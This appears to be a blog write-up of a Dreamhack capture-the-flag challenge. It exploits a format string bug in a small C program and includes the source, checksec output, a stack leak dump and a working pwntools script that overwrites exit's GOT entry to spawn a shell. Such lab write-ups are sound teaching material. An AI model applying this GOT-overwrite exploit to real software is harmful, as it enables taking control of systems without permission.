345 words
2 minutes
basic_exploitation_002

Write-up of the challenge “basic_exploitation_002”#

This challenge is part of the “Binary exploitation” category and is in Level 2.

Goal of the challenge#

The objective of this challenge is to perform Format string attack

Program structure#

source.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}

Security breach#

The vulnerability here is Format string attack:

printf(buf);

It doesn’t specfiy any options like %p or %x e.t.c.

Solution#

First I checked the protection on the binary using checksec and I got this back:

Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Great this means that the most addresses are fixed and that means we don’t have to leak any address during runtime!

So after that I decided to do some fuzz test of sending as much %p I can and I got this in return:

0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
0x70257025
(nil)
0xf7c95ec3
0x1
0xffa4afa4
0xffa4afac
0xffa4af10
0xf7ea3e14
0x804861c
0x1
0xffa4afa4
0xf7ea3e14
0x8048650
0xf7f01c60
(nil)
0xf10191f4
0x2ae177e4
(nil)
(nil)
(nil)
0xf7f01c60
(nil)
0x597e8600
0xf7f02a70
0xf7c95e56
0xf7ea3e14
0xf7c95f88
0xf7ecbac4
0xf7f01fd4
0x10x80484b0
(nil)
0xf7eddbb0

As you can see the first element is already our input, and that means that the fmstr_payload should have an offset of one. My idea was to either use exit got and ovewrite it with the get_shell or use a stack address to ovewrite it with get_shell, in the end I decided to overwrite the exit got with get shell.

Note that the reason why the exit got worked in this exploit is because of this line in the binary and because there is no PIE:

exit(0);
solve.py
from pwn import *
# p = process('./basic_exploitation_002')
p = remote('host8.dreamhack.games', 21153)
elf = ELF('./basic_exploitation_002')
payload = fmtstr_payload(1, {elf.got['exit']: elf.sym['get_shell']}, write_size='short')
p.sendline(payload)
p.interactive()
basic_exploitation_002
https://fuwari.vercel.app/posts/basic_exploitation_002/basic_exploitation_002/
Author
a.b.h.a
Published at
2025-07-01
License
CC BY-NC-SA 4.0